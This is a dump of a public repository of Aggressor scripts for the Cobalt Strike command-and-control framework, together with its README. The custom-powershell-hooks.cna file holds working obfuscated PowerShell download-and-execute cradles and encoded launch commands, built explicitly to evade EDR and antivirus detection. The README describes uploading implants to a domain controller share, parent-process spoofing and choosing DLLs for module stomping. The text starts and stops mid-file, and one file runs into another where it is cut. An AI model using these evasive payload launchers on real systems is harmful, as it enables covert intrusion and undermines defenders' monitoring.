payload variants", %defaults, &generate); 145 | 146 | dialog_description($dialog, "Generates variants for the selected listener's payloads and dumps them to a specified output directory."); 147 | drow_listener_stage($dialog, "listener", "Listener: "); 148 | dbutton_action($dialog, "Generate"); 149 | 150 | dialog_show($dialog); 151 | } 152 | 153 | item "Generte raw shellcode variants" 154 | { 155 | local('$dialog %defaults'); 156 | 157 | $dialog = dialog("Generate raw shellcode variants", %defaults, &generate_shellcode); 158 | 159 | dialog_description($dialog, "Generates variants for the selected listener's shellcodes and writes them to a specified output directory."); 160 | drow_listener_stage($dialog, "listener", "Listener: "); 161 | drow_checkbox($dialog, "local", "Embed function pointers from existing Beacon session: ", "Local Payload"); 162 | drow_beacon($dialog, "bid", "Existing session to use with Local Payload type: "); 163 | drow_combobox($dialog, "format", "Formatting: ", @("raw","hex","0x90\,0x90,\0x90","\\x90\\x90\\x90","b64")); 164 | dbutton_action($dialog, "Generate"); 165 | 166 | dialog_show($dialog); 167 | } 168 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## cobalt-arsenal 2 | 3 | My published set of Aggressor Scripts for Cobalt Strike 4.0+ 4 | 5 | - **`Beacon_Initial_Tasks.cna`** - This script lets you configure **commands that should be launched as soon as the Beacon checks-in for the first time**. Both commands and argue settings are available in a dedicated options dialog. Also, a feature to right-click on a Beacon and issue "Run custom command..." was added to allow to run arbitrary commands against multiple beacons. Settings are then save in file specified in a global variable named: 6 | `$beaconInitialTasksSettingsFile` 7 | 8 | *How it works?* 9 | 10 | Implementation of `beacon_task()` functionality to invoke nearly-arbitrary Cobalt Strike commands 11 | from a passed string, from within your Aggressor scripts: 12 | ``` 13 | beacon_task($bid, "execute-assembly C:\\tools\\Rubeus.exe hash /password:test"); 14 | ``` 15 | 16 | - **`better-upload.cna`** - Simple yet **super handy** script that overrides built-in `upload` command by having one that offers additional, second parameter - being _remote file path_. By default we're only able to upload file to the CWD. This implementation let's us upload wherever we like. Additionally, it computes and prints out the MD5 checksum of every uploaded file for facilitating IOCs tracing: 17 | 18 | ``` 19 | beacon> upload implant.exe \\DC1\c$\windows\temp\implant.exe 20 | [*] Tasked Beacon to upload file (size: 929.25KB, md5: 6465bb8a4af8dd2d93f8f386a16be341) from: (implant.exe) to: (\\DC1\c$\windows\temp\implant.exe) 21 | [+] host called home, sent: 951655 bytes 22 | 23 | ``` 24 | 25 | - **`cwd-in-beacon-status-bar.cna`** - Simple Beacon console status bar enhancement showing Beacon's last known current working directory path, as well as adding fixed-width to last-seen meter. Additionally, this script enhances `cd` command to make it restore previous path if `cd -` was issued (and previous path is known). 26 | 27 | - **`custom-powershell-hooks.cna`** - This script introduces several different methods for Powershell download and execution primitives, other than Cobalt Strike's default `(Net.WebClient).DownloadString` and `IEX()`: 28 | ``` 29 | set POWERSHELL_DOWNLOAD_CRADLE { 30 | return "IEX (New-Object Net.Webclient).DownloadString(' $+ $1 $+ ')"; 31 | } 32 | [...] 33 | 34 | set POWERSHELL_COMMAND { 35 | [...] 36 | return "powershell -nop -w hidden -encodedcommand $script"; 37 | } 38 | ``` 39 | 40 | Aforementioned methods are heavily flagged these days by EDRs and AVs so we would prefer to avoid their use. It so happens that Cobalt Strike by default embeds them excessively, generating lot of noise in such systems. We can tell Cobalt Strike to structure it's Powershell use patterns differently. However, some of introduced custom methods may not work. In such situations, we can always switch back to battle tested Cobalt Strike defaults by setting `$USE_UNSAFE_ENCODEDCOMMAND_AND_IEX = 2;` in the script's header. 41 | 42 | - **`FilesColor.cna`** - Color Coded Files Listing. Similar to `ProcessColor.cna` by [@r3dQu1nn](https://github.com/harleyQu1nn/AggressorScripts) this script colorizes file listing outputs based on file type and extension. **It also tries to keep track of uploaded files to have them highlighted in files listing as well**. The Colors scheme information will be showed only three times by default, unless configured otherwise via global variable named `$TIMES_TO_DISPLAY_COLORS_SCHEME`. 43 | 44 | ![FilesColor example](https://raw.githubusercontent.com/mgeeky/cobalt-arsenal/master/img/1.PNG) 45 | 46 | - **`Forwarded_Ports.cna`** - Keeps track of configured remote port forwardings on all Beacons and lets kill them easily. Available in `View -> Remote Forwarded Ports` 47 | 48 | Using `rportfwd` here and there quickly consumes pool of available local ports from which to forward traffic outbound and keeping track of them manually becomes tedious on a long-haul projects. This script aims to fill that gap by collecting these commands and presenting them in a nice visualization pane (concept & implementation based on previous work of @ramen0x3f [leave_no_trace](https://github.com/ramen0x3f/AggressorScripts/blob/master/leave_no_trace.cna), @001SPARTaN and @r3dqu1nn [logvis.cna](https://github.com/invokethreatguy/AggressorCollection/blob/master/harleyQu1nn/logvis.cna) ). 49 | 50 | - **`hash.cna`** - Implementation of MD5/SHA1/SHA256 hashing routines in aggressor script. 51 | 52 | - **`Highlight_Beacons.cna`** - Highlights Beacons for a specified time duration (`$HIGHLIGHT_DURATION`) on Initial check-in event, when exiting (and after Beacon exited) and after each Beacon command's output. Configurable colors and events found in `%HIGHLIGHTS` dictionary. Hint: Specify `output => ""` to disable highlighting new Beacon command outputs. 53 | 54 | - **`httprequest.cna`** - Safe & sound HTTP request implementation for Cobalt Strike 4.0 Aggressor Script. Works with HTTP & HTTPS, GET/POST/etc. + redirections. Rationale: I've tested various implementations of HTTP request sending subroutines written in Sleep for CS, but none of them matched by needs - working support for GET/POST, redirections handling and exceptions-safe execution. So I came up with my own implementation. ([gist](https://gist.github.com/mgeeky/2d7f8c2a6ffbfd23301e1e2de0312087)) 55 | 56 | - **`mgeekys_arsenal.cna`** - 3300+ kLOC stuffed with Cobalt Strike goodies, improvements, enhancements and aliases making workflow with Cobalt way much easier and nicer! This script combines most of the utilities placed in this repository: 57 | - Current working directory on status bar 58 | - Beacon initial actions 59 | - Better upload 60 | - handy aliases around most commonly used tools 61 | - super handy `execute-assembly` not requiring full path to the executable 62 | - auto Parent PID spoofing logic 63 | - and plenty more toys worth checking out! 64 | 65 | ![Arsenal window](https://raw.githubusercontent.com/mgeeky/cobalt-arsenal/master/mgeekys_arsenal/img/arsenal1.png) 66 | 67 | 68 | - **`Payload_Variants_Generator.cna`** - This script generates stageless payload variants per each available architecture and output format type. Compatible with Cobalt Strike 4.0+. 69 | 70 | - **`parse-error-codes.cna`** - A handy script that parses reported error codes and prints their corresponding Windows related meaning directly in Beacon's console output. 71 | 72 | **From:** 73 | ``` 74 | beacon> ls C:\gdgsdfgdf 75 | [-] could not open C:\gdgsdfgdf\*: 3 76 | ``` 77 | 78 | **To:** 79 | ``` 80 | beacon> ls C:\gdgsdfgdf 81 | [-] could not open C:\gdgsdfgdf\*: 3. Parsed error code: 82 | 3 - ERROR_PATH_NOT_FOUND 83 | ``` 84 | 85 | Also, the script exposes useful `get-error ` alias to quickly determine error's explanation based on supplied number: 86 | ``` 87 | beacon> get-error 5 88 | [*] Parsed error code: 89 | 5 - ERROR_ACCESS_DENIED 90 | ``` 91 | 92 | - **`rename-beacon-tabs.cna`** - Script that lets us rename Beacon-related tabs from a default format of: `Beacon @` to anything other we like, for instance: `B: @ ()`. 93 | 94 | Format deciding how should each Beacon's tab be named, utilising beacon's metadata fields is described in a global variable named $beacon_tab_name_format . That variable may contain any of the following available beacon's metadata keys (CobaltStrike 4.2): 95 | 96 | `note, charset, internal , alive, session, listener, pid, lastf, computer, host, 97 | is64, id, process, ver, last, os, barch, phint, external, port, build, pbid, arch, 98 | user, _accent` 99 | 100 | 101 | - **`settings.cna`** - Script that offers sample implementation for `saveOptions` and `loadOptions` routines, intended to store & restore settings from an external file. 102 | 103 | - **`smart-autoppid.cna`** - Autoppid - script that smartely invokes PPID for every new checkin in Beacon. PPID command requires invoked Beacon to have the same Integrity level as the process it want's to assume as it's Parent. That's due to how InitializeProcThreadAttributeList with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS works. In order to avoid harcoded explorer.exe PID assumption, we can look around for a configurable process name and then try to find that process running on the highest available for us integrity level. In that case, unprivileged user would assume PPID of for instance svchost.exe running as that user, wherease the privileged one - could go for the svchost.exe running as NT AUTHORITY\SYSTEM. We aim to smartely pick the most advantageous target, in a dynamic fashion. 104 | 105 | The same command is also exposed as an alias: 106 | 107 | ``` 108 | beacon> autoppid 109 | [*] Tasked Beacon to find svchost.exe running as SYSTEM and make it the PPID. 110 | [.] host called home, sent: 12 bytes 111 | Future post-ex jobs will be spawned with fake PPID set to: 112 | svchost.exe 604 700 x64 NT AUTHORITY\SYSTEM 0 113 | 114 | [*] Tasked beacon to spoof 700 as parent process 115 | [.] host called home, sent: 12 bytes 116 | ``` 117 | 118 | - **`stomp-dll-info.py`** - A script that list DLL files properties for purpose of finding good Module Stomping candidates. The results of this script can then be used in Cobalt Strike Malleable C2 Profiles and for the sake of other shellcode process-injection tests. Especially useful while setting `module_x86` and `module_x64` fields in your Malleable C2 Profiles. 119 | 120 | Help: 121 | 122 | ``` 123 | PS C:\> py .\stomp-dll-info.py --help 124 | 125 | :: stomp-dll-info.py - Your Module Stomping / DLL Hollowing candidates headhunter! 126 | A script that scans, filters, analyzes DLL files displaying viable candidates for module stomping. 127 | 128 | Mariusz Banach / mgeeky, '21 129 | 130 | 131 | usage: .\stomp-dll-info.py [options] 132 | 133 | positional arguments: 134 | path Path to a DLL/directory. 135 | 136 | optional arguments: 137 | -h, --help show this help message and exit 138 | -r, --recurse If is a directory, perform recursive scan. 139 | -v, --verbose Verbose mode. 140 | 141 | Output sorting: 142 | -a, --ascending Sort in ascending order instead of default of descending. 143 | -c COLUMN, --column COLUMN 144 | Sort by this column name. Default: filename. Available columns: "type", "filename", "file size", "image size", "code size", "hollow size", ".NET", "signed", "in System32", "in SysWOW64", "used by", "path" 145 | -n NUM, --first NUM Show only first N results, as specified in this paremeter. By default will show all candidates. 146 | 147 | Output filtering: 148 | -C CODESIZE, --min-code-size CODESIZE 149 | Show only modules with code section bigger than this value. 150 | -I IMAGESIZE, --min-image-size IMAGESIZE 151 | Show only modules which images are bigger than this value. 152 | -E HOLLOWSIZE, --hollow-size HOLLOWSIZE 153 | Show only modules with enough room to fit shellcode in Module Stomping / DLL Hollowing technique. Example Beacon size requirement: 300KB (307200). 154 | -S SIZE, --min-file-size SIZE 155 | Show only modules of size bigger than this value. Cobalt Strike c2lint complains when module stomping target is smaller than 23MB (24117248). 156 | -P NAME, --process NAME 157 | Show only modules that are used by this process. 158 | -U, --used Show only modules that are used by any process in the system. 159 | -Q, --not-used Show only modules that are NOT used by any process in the system. 160 | -D, --dotnet Show only modules that are .NET assemblies. 161 | -G, --signed Show only code signed modules. 162 | -H, --unsigned Show only unsigned modules. 163 | -W, --system-cross-arch 164 | Show only modules that are present in both System32 and SysWOW64 directories. 165 | ``` 166 | 167 | Example usage: 168 | ``` 169 | PS C:\> py stomp-dll-info.py C:\Windows\System32 -c 'hollow size' -W -E 307200 -n 20 170 | 171 | :: stomp-dll-info.py - Your Module Stomping / DLL Hollowing candidates headhunter! 172 | A script that scans, filters, analyzes DLL files displaying viable candidates for module stomping. 173 | 174 | Mariusz Banach / mgeeky, '21 175 | 176 | 177 | +----+------+----------------------------------------+-----------+------------+-----------+---------------+-------+-----------------------+-------------+-------------+------------------------------------------+------------------------------------------+ 178 | | # | type | filename | file size | image size | code size | ▼ hollow size | .NET | signed | in System32 | in SysWOW64 | used by | path | 179 | +----+------+----------------------------------------+-----------+------------+-----------+---------------+-------+-----------------------+-------------+-------------+------------------------------------------+------------------------------------------+ 180 | | 0 | dll | mshtml.dll | 23447040 | 23552000 | 16574643 | 14951811 | False | Unsigned | True | True | | C:\Windows\System32\mshtml.dll | 181 | | 1 | dll | edgehtml.dll | 26269184 | 26406912 | 18349083 | 12778123 | False | Unsigned | True | True | SearchApp.exe | C:\Windows\System32\edgehtml.dll | 182 | | 2 | dll | Windows.UI.Xaml.dll | 17539584 | 17567744 | 12105148 | 8655164 | False | Unsigned | True | True | SystemSettings.exe, TextInputHost.exe, | C:\Windows\System32\Windows.UI.Xaml.dll | 183 | | | | | | | | | | | | | explorer.exe, Calculator.exe, | | 184 | | | | | | | | | | | | | SearchApp.exe, onenoteim.exe, | | 185 | | | | | | | | | | | | | StartMenuExperienceHost.exe, | | 186 | | | | | | | | | | | | | Video.UI.exe, ShellExperienceHost.exe, | | 187 | | | | | | | | | | | | | WindowsTerminal.exe, | | 188 | | | | | | | | | | | | | Microsoft.Photos.exe, LockApp.exe, | | 189 | | | | | | | | | | | | | YourPhone.exe | | 190 | | 3 | dll | wmp.dll | 11500544 | 11587584 | 8181400 | 6644984 | False | Unsigned | True | True | | C:\Windows\System32\wmp.dll | 191 | | 4 | dll | Windows.Media.Protection.PlayReady.dll | 10352400 | 10309632 | 7175422 | 6218542 | False | Microsoft Corporation | True | True | | C:\Windows\System32\Windows.Media.Protec | 192 | 193 | [...] 194 | ``` 195 | 196 | 197 | --- 198 | 199 | ### ☕ Show Support ☕ 200 | 201 | This and other projects are outcome of sleepless nights and **plenty of hard work**. If you like what I do and appreciate that I always give back to the community, 202 | [Consider buying me a coffee](https://github.com/sponsors/mgeeky) _(or better a beer)_ just to say thank you! 💪 203 | 204 | --- 205 | 206 | ``` 207 | Mariusz Banach / mgeeky, (@mariuszbit) 208 | 209 | ``` -------------------------------------------------------------------------------- /better-upload.cna: -------------------------------------------------------------------------------- 1 | # 2 | # Handy alternative for built-in 'upload' command: lets you upload file to the specified 3 | # remote location. By default, the built-in upload command puts uploaded file to the CWD. 4 | # This script lets us override that behavior. 5 | # 6 | # In addition - the upload command will print uploaded file's MD5 hash value, for traceability. 7 | # 8 | # ------------------------------------------- 9 | # beacon> upload implant.exe \\DC1\c$\windows\temp\implant.exe 10 | # [*] Tasked Beacon to upload file (size: 929.25KB) from: (implant.exe) to: (\\DC1\c$\windows\temp\implant.exe) 11 | # [+] host called home, sent: 951655 bytes 12 | # 13 | # ------------------------------------------- 14 | # 15 | # Author: 16 | # Mariusz Banach / mgeeky, '20 17 | # 18 | # (https://github.com/mgeeky) 19 | # 20 | # 21 | 22 | beacon_command_register( 23 | "upload", 24 | "Upload a file to specified remote location.", 25 | "Use: upload [/remote/path/to/file]\n\nUpload a file from local path (first argument) to remote path (second argument, optional)."); 26 | 27 | sub interpretSize { 28 | local('$s $size'); 29 | $s = $1; 30 | 31 | if($s == 0) { 32 | $size = ""; 33 | } 34 | else if($s < 1024) { 35 | $size .= $s . "B"; 36 | } 37 | else if($s < 1024 * 1024) { 38 | $size = round($s / 1024.0, 1); 39 | $size .= "KB"; 40 | } 41 | else if($s < 1024 * 1024 * 1024) { 42 | $size = round(($s / 1024.0) / 1024, 1); 43 | $size .= "MB"; 44 | } 45 | else if($s < 1024 * 1024 * 1024 * 1024) { 46 | $size = round((($s / 1024.0) / 1024) / 1024, 1); 47 | $size .= "GB"; 48 | } 49 | 50 | return $size; 51 | } 52 | 53 | alias upload { 54 | local('$bid $f $localpath $remotepath $content'); 55 | ($bid, $localpath, $remotepath) = @_; 56 | 57 | if($localpath is $null || strlen($localpath) == 0) { 58 | prompt_file_open("Choose a file", $null, false, lambda({ 59 | fireAlias($bid, "upload", $1); 60 | }, $bid => $bid)); 61 | return; 62 | } 63 | 64 | if($localpath is $null || strlen($localpath) == 0) { 65 | berror($1, "Source file path (local path) must be specified."); 66 | return; 67 | } 68 | 69 | if(!-exists $localpath) { 70 | berror($1, "Specified input file does not exist: ( $+ $localpath $+ )"); 71 | return; 72 | } 73 | 74 | try { 75 | $f = openf($localpath); 76 | $content = readb($f, -1); 77 | if($content is $null) { 78 | throw "Read empty file"; 79 | } 80 | closef($f); 81 | } 82 | catch $message { 83 | berror($1, "Could not read contents of file to upload. Error: $message"); 84 | return; 85 | } 86 | 87 | $algo = "MD5"; 88 | $md = [java.security.MessageDigest getInstance: $algo]; 89 | $digest = [$md digest: $content]; 90 | 91 | $hash = transform($digest, "hex"); 92 | $hash = lc($hash); 93 | 94 | 95 | if($remotepath is $null || strlen($remotepath) == 0) { 96 | $remotepath = getFileName($localpath); 97 | btask($1, "Tasked Beacon to upload file (size: " . interpretSize(strlen($content)) . ", md5: " . $hash . ") from: ( $+ $localpath $+ ) to: ( $+ $remotepath $+ )"); 98 | bupload!($bid, $localpath); 99 | return; 100 | } 101 | 102 | btask($1, "Tasked Beacon to upload file (size: " . interpretSize(strlen($content)) . ", md5: " . $hash . ") from: ( $+ $localpath $+ ) to: ( $+ $remotepath $+ )"); 103 | bupload_raw!($1, $remotepath, $content, $localpath); 104 | } -------------------------------------------------------------------------------- /custom-powershell-hooks.cna: -------------------------------------------------------------------------------- 1 | # 2 | # Custom Cobalt Strike Powershell Command & Download Cradles 3 | # 4 | # This script introduces several different methods for Powershell download and execution primitives, other 5 | # than (Net.WebClient).DownloadString and IEX(): 6 | # 7 | # set POWERSHELL_DOWNLOAD_CRADLE { 8 | # return "IEX (New-Object Net.Webclient).DownloadString(' $+ $1 $+ ')"; 9 | # } 10 | # [...] 11 | # 12 | # set POWERSHELL_COMMAND { 13 | # [...] 14 | # return "powershell -nop -w hidden -encodedcommand $script"; 15 | # } 16 | # 17 | # Aforementioned methods are heavily flagged these days by 18 | # EDRs and AVs so we would prefer to avoid their use. It so happens that Cobalt Strike by default embeds them 19 | # excessively, generating lot of noise in such systems. We can tell Cobalt Strike to structure it's Powershell 20 | # use patterns differently. However, some of introduced custom methods may not work. In such situations, we 21 | # can always switch back to battle tested Cobalt Strike defaults by choosing "Use unsafe Powershell.." to Always. 22 | # 23 | # Watch Script Console for debug logs 24 | # 25 | # Author: 26 | # Mariusz Banach / mgeeky, '20 27 | # 28 | # (https://github.com/mgeeky) 29 | # 30 | 31 | 32 | # For OPSEC reasons we should avoid use of Powershells "-EncodedCommand" parameter and "IEX()" 33 | # Invoke-Expression cmdlet, as they are heavily flagged. Yet, their use is very stable and proven to 34 | # work stabily across various environments and setups. This script can treat these as follows: 35 | # USE_UNSAFE_ENCODEDCOMMAND_AND_IEX = 0; # Never use them 36 | # USE_UNSAFE_ENCODEDCOMMAND_AND_IEX = 1; # Use them on a seldom occassion (randomly picked) 37 | # USE_UNSAFE_ENCODEDCOMMAND_AND_IEX = 2; # Always use them 38 | 39 | global('$USE_UNSAFE_ENCODEDCOMMAND_AND_IEX'); 40 | $USE_UNSAFE_ENCODEDCOMMAND_AND_IEX = 0; # Never use them 41 | 42 | $DEBUG = false; 43 | 44 | sub debug { 45 | if($DEBUG) { 46 | println("[custom-powershell-hooks] " . $1); 47 | } 48 | } 49 | 50 | set POWERSHELL_DOWNLOAD_CRADLE { 51 | local('$url $strategy $cradle @downloadPrimitives @executionPrimitives $download $execution $downloadPrimitive $executionPrimitive'); 52 | $url = $1; 53 | 54 | # Each download primitive must download data from given ##URL## (that will be replaced later on) 55 | # and put it into $u variable 56 | @downloadPrimitives = @( 57 | # Unsafe (Net.WebClient).DownloadString 58 | "\$u=(New-Object Net.Webclient).DownloadString('##URL##')", 59 | 60 | # PowerShell 3.0+: Invoke-RestMethod 61 | "\$u=('##URL##'|%{(IRM \$_)})", 62 | 63 | # (Net.WebClient).DownloadString 64 | "\$w=(New-Object Net.WebClient);\$u=\$w.((((\$w).PsObject.Methods)|?{(Item Variable:\_).Value.Name-clike'D*g'}).Name).Invoke('##URL##')", 65 | 66 | # Net.WebRequest 67 | "\$u=([IO.StreamReader]::new([Net.WebRequest]::Create('##URL##').GetResponse().GetResponseStream()).ReadToEnd())", 68 | 69 | # Msxml2.XMLHTTP COM object 70 | "\$c=New-Object -ComObject MsXml2.ServerXmlHttp;\$c.Open('GET','##URL##',0);\$c.Send();\$u=\$c.ResponseText" 71 | ); 72 | 73 | # Use $u variable to obtain downloaded data. 74 | @executionPrimitives = @( 75 | # Unsafe IEX() 76 | "IEX(\$u)", 77 | 78 | "&(DIR Alias:/I*X)(\$u)", 79 | "\$u|&(DIR Alias:/I*X)", 80 | 81 | "&(GCM I*e-E*)(\$u)", 82 | "\$u|&(GCM I*e-E*)", 83 | 84 | "&(''.SubString.ToString()[67,72,64]-Join'')(\$u)", 85 | "\$u|&(''.SubString.ToString()[67,72,64]-Join'')" 86 | ); 87 | 88 | 89 | if ($USE_UNSAFE_ENCODEDCOMMAND_AND_IEX == 2) { 90 | $cradle = "IEX (New-Object Net.Webclient).DownloadString(' $+ $url $+ ')"; 91 | } 92 | else { 93 | # Skip known bad combinations of above primitives. 94 | # Known to not working (download - execution): 95 | # * 3 - 3, 3 - 4 96 | while(true) { 97 | if ($USE_UNSAFE_ENCODEDCOMMAND_AND_IEX == 1) { 98 | $download = rand(size(@downloadPrimitives)); 99 | $execution = rand(size(@executionPrimitives)); 100 | } 101 | else { 102 | $download = rand(size(@downloadPrimitives) - 1) + 1; 103 | $execution = rand(size(@executionPrimitives) - 1 ) + 1; 104 | } 105 | 106 | if ($download == 3 && ($execution >= 3 && $execution <= 4)) { 107 | continue; 108 | } 109 | break; 110 | } 111 | 112 | $downloadPrimitive = replace(@downloadPrimitives[$download], '##URL##', $url); 113 | $executionPrimitive = @executionPrimitives[$execution]; 114 | 115 | $cradle = $downloadPrimitive . ";" . $executionPrimitive; 116 | $cradle = replace($cradle, ";;", ";"); 117 | } 118 | 119 | debug("hooked POWERSHELL_DOWNLOAD_CRADLE (download: $+ $download $+ ; execution: $+ $execution $+ ): $cradle"); 120 | return $cradle; 121 | } 122 | 123 | set POWERSHELL_COMMAND { 124 | local('$strategy $ley $enc $stub $cmd'); 125 | 126 | $cmd = ""; 127 | 128 | if ($USE_UNSAFE_ENCODEDCOMMAND_AND_IEX == 1) { 129 | $strategy = rand(4); 130 | } 131 | else { 132 | $strategy = rand(3) + 1; 133 | } 134 | 135 | if (($USE_UNSAFE_ENCODEDCOMMAND_AND_IEX == 2) || ($strategy == 0)) { 136 | # 137 | # Default, built in and unsafe Cobalt Strike powershell command template. 138 | # 139 | $script = transform($1, "powershell-base64"); 140 | 141 | if ($2) { 142 | # remote command (e.g., jump psexec_psh) 143 | $cmd = "powershell -nop -w hidden -encodedcommand $script"; 144 | } 145 | else { 146 | # local command 147 | $cmd = "powershell -nop -exec bypass -EncodedCommand $script"; 148 | } 149 | } 150 | else if ($strategy == 1) { 151 | if ($2) { 152 | $cmd = "powershell -nop -noni -w hidden -c \" $+ $1 $+ \""; 153 | } 154 | else { 155 | $cmd = "powershell -nop -noni -ep bypass -w hidden -c \" $+ $1 $+ \""; 156 | } 157 | } 158 | else if($strategy == 2) { 159 | $key = rand(254) + 1; 160 | $enc = replace(transform(str_xor($1, chr($key)), "array"), " ", ""); 161 | $stub = "&([scriptblock]::Create((( $+ $enc $+ )|%{\$_-bxor $+ $key $+ }|%{[char]\$_})-join''))"; 162 | 163 | if ($2) { 164 | $cmd = "powershell -nop -noni -w hidden -c \" $+ $stub $+ \""; 165 | } 166 | else { 167 | $cmd = "powershell -nop -noni -ep bypass -w hidden -c \" $+ $stub $+ \""; 168 | } 169 | } 170 | else if ($strategy == 3) { 171 | $key = rand(254) + 1; 172 | $enc = base64_encode(str_xor($1, chr($key))); 173 | 174 | $stub = "\$t=([type]'Convert');&([scriptblock]::Create((\$t::((\$t.GetMethods()|?{\$_.Name-clike'F*g'}).Name)(' $+ $enc $+ ')|%{\$_-bxor $+ $key $+ }|%{[char]\$_})-join''))"; 175 | 176 | if ($2) { 177 | $cmd = "powershell -nop -noni -w hidden -c \" $+ $stub $+ \""; 178 | } 179 | else { 180 | $cmd = "powershell -nop -noni -ep bypass -w hidden -c \" $+ $stub $+ \""; 181 | } 182 | } 183 | 184 | debug("hooked POWERSHELL_COMMAND (strategy: $strategy $+ ): $cmd"); 185 | return $cmd; 186 | } 187 | 188 | alias powershell2 { 189 | local('$args'); 190 | $args = substr($0, strlen("powershell2 ")); 191 | 192 | btask($1, "Tasked beacon to run powershell version 2 commands: $args", "T1059"); 193 | beacon_execute_job($1, "powershell", " -v 2 $args", 0); 194 | } -------------------------------------------------------------------------------- /cwd-in-beacon-status-bar.cna: -------------------------------------------------------------------------------- 1 | # 2 | # Simple Beacon console status bar enhancement showing Beacon's last known current 3 | # working directory path, as well as adding fixed-width to last-seen meter. 4 | # 5 | # Additionally, this script enhances 'cd' command to make it restore previous path 6 | # if "cd -" was issued (and previous path is known). 7 | # 8 | # Author: 9 | # Mariusz Banach / mgeeky, '20 10 | # 11 | # (https://github.com/mgeeky) 12 | # 13 | 14 | global('%OPERATING_BEACONS'); 15 | %OPERATING_BEACONS = %(); 16 | 17 | beacon_command_register( 18 | "cd", 19 | "Change directory on host. Use '-' to get back to previous cwd.", 20 | "Use: cd [directory]\n\nChange directory on host. Use '-' to get back to previous cwd."); 21 | 22 | set BEACON_SBAR_LEFT { 23 | local('$hostname $username $pid $arch $pwd'); 24 | $hostname = $2["computer"]; 25 | $username = $2["user"]; 26 | $pid = $2["pid"]; 27 | $arch = $2["arch"]; 28 | $pwd = %OPERATING_BEACONS[$1]['cwd']; 29 | 30 | return "[\c2 $+ $hostname $+ \o] $username $+ / $+ $pid \cE( $+ $arch $+ )\o\c2 $pwd \o"; 31 | } 32 | 33 | set BEACON_SBAR_RIGHT { 34 | local('$note $last'); 35 | $note = $2["note"]; 36 | $last = $2["lastf"]; 37 | 38 | return "\c6 $note \cE(last: $+ $[5]last $+ )\o"; 39 | } 40 | 41 | on beacon_tasked { 42 | local('$pwd $sep'); 43 | 44 | if('cd *' iswm $2) { 45 | $pwd = substr($2, strlen("cd ")); 46 | $sep = iff(binfo($1, "os") eq "Windows", "\\", "/"); 47 | 48 | if($pwd eq "..") { 49 | $pwd = substr(%OPERATING_BEACONS[$1]['cwd'], 0, lindexOf(%OPERATING_BEACONS[$1]['cwd'], $sep)); 50 | 51 | if($pwd eq "..") { 52 | return "\cC[*]\o $2"; 53 | } 54 | } 55 | else if($pwd eq ".") { 56 | return "\cC[*]\o $2"; 57 | } 58 | else if((strlen($pwd) >= 2) && (charAt($pwd, 1) ne ":")) { 59 | # relative path? 60 | $pwd = %OPERATING_BEACONS[$1]['cwd'] . $sep . $pwd; 61 | } 62 | 63 | %OPERATING_BEACONS[$1]['prev-cwd'] = %OPERATING_BEACONS[$1]['cwd']; 64 | %OPERATING_BEACONS[$1]['cwd'] = $pwd; 65 | 66 | return "\cC[*]\o $2"; 67 | } 68 | } 69 | 70 | set BEACON_OUTPUT_ALT { 71 | local('$pwd'); 72 | 73 | if($2 ismatch 'Current directory is (.+)') { 74 | $pwd = matched()[0]; 75 | %OPERATING_BEACONS[$1]['prev-cwd'] = %OPERATING_BEACONS[$1]['cwd']; 76 | %OPERATING_BEACONS[$1]['cwd'] = $pwd; 77 | return "\cC[*]\o Current directory is \cC" . $pwd . "\o\n"; 78 | } 79 | 80 | return "\cC[*]\o $2\n"; 81 | } 82 | 83 | on beacon_input { 84 | if (["$3" trim] eq "ls") { 85 | %OPERATING_BEACONS[$1]['cwd-use-ls'] = 1; 86 | } 87 | } 88 | 89 | on beacon_output_ls { 90 | local('$pwd'); 91 | 92 | if(%OPERATING_BEACONS[$1]['cwd-use-ls'] == 1) { 93 | $pwd = split("\n", ["$2" trim])[0]; 94 | if(right($pwd, 2) eq "\\*") { 95 | $pwd = substr($pwd, 0, -2); 96 | } 97 | %OPERATING_BEACONS[$1]['prev-cwd'] = %OPERATING_BEACONS[$1]['cwd']; 98 | %OPERATING_BEACONS[$1]['cwd'] = $pwd; 99 | %OPERATING_BEACONS[$1]['cwd-use-ls'] = 0; 100 | } 101 | } 102 | 103 | on beacons { 104 | if(%OPERATING_BEACONS is $null) { 105 | %OPERATING_BEACONS = %(); 106 | } 107 | 108 | foreach $b ($1) { 109 | if(iff($b in keys(%OPERATING_BEACONS), "true", $null)) { 110 | %OPERATING_BEACONS[$b] = %(); 111 | } 112 | } 113 | } 114 | 115 | alias cd { 116 | if(($2 eq "-") && (strlen(%OPERATING_BEACONS[$1]['prev-cwd']) > 0)) { 117 | bcd($1, %OPERATING_BEACONS[$1]['prev-cwd']); 118 | return; 119 | } 120 | 121 | bcd($1, $2); 122 | } 123 | -------------------------------------------------------------------------------- /hash.cna: -------------------------------------------------------------------------------- 1 | # 2 | # This script shows how to compute hash value in Aggressor Script. 3 | # 4 | # Supported algorithms: 5 | # - MD5 6 | # - SHA-1 7 | # - SHA-256 8 | # 9 | # Mariusz Banach / mgeeky, '20 10 | # 7 | # 8 | 9 | import java.net.URLEncoder; 10 | import java.io.BufferedReader; 11 | import java.io.DataOutputStream; 12 | import java.io.InputStreamReader; 13 | import java.net.HttpURLConnection; 14 | import java.net.URL; 15 | 16 | 17 | # 18 | # httpRequest($method, $url, $body); 19 | # 20 | sub httpRequest { 21 | $method = $1; 22 | $url = $2; 23 | $body = $3; 24 | $n = 0; 25 | 26 | if(size(@_) == 4) { $n = $4; } 27 | 28 | $bodyLen = strlen($body); 29 | $maxRedirectsAllowed = 10; 30 | if ($n > $maxRedirectsAllowed) { 31 | warn("Exceeded maximum number of redirects: $method $url "); 32 | return ""; 33 | } 34 | 35 | try 36 | { 37 | $urlobj = [new java.net.URL: $url]; 38 | $con = $null; 39 | $con = [$urlobj openConnection]; 40 | [$con setRequestMethod: $method]; 41 | [$con setInstanceFollowRedirects: true]; 42 | [$con setRequestProperty: "Accept", "*/*"]; 43 | [$con setRequestProperty: "Cache-Control", "max-age=0"]; 44 | [$con setRequestProperty: "Connection", "keep-alive"]; 45 | [$con setRequestProperty: "User-Agent", $USER_AGENT]; 46 | 47 | if($bodyLen > 0) { 48 | [$con setDoOutput: true]; 49 | [$con setRequestProperty: "Content-Type", "application/x-www-form-urlencoded"]; 50 | } 51 | 52 | $outstream = [$con getOutputStream]; 53 | if($bodyLen > 0) { 54 | [$outstream write: [$body getBytes]]; 55 | } 56 | 57 | $inputstream = [$con getInputStream]; 58 | $handle = [SleepUtils getIOHandle: $inputstream, $outstream]; 59 | $responseCode = [$con getResponseCode]; 60 | 61 | if(($responseCode >= 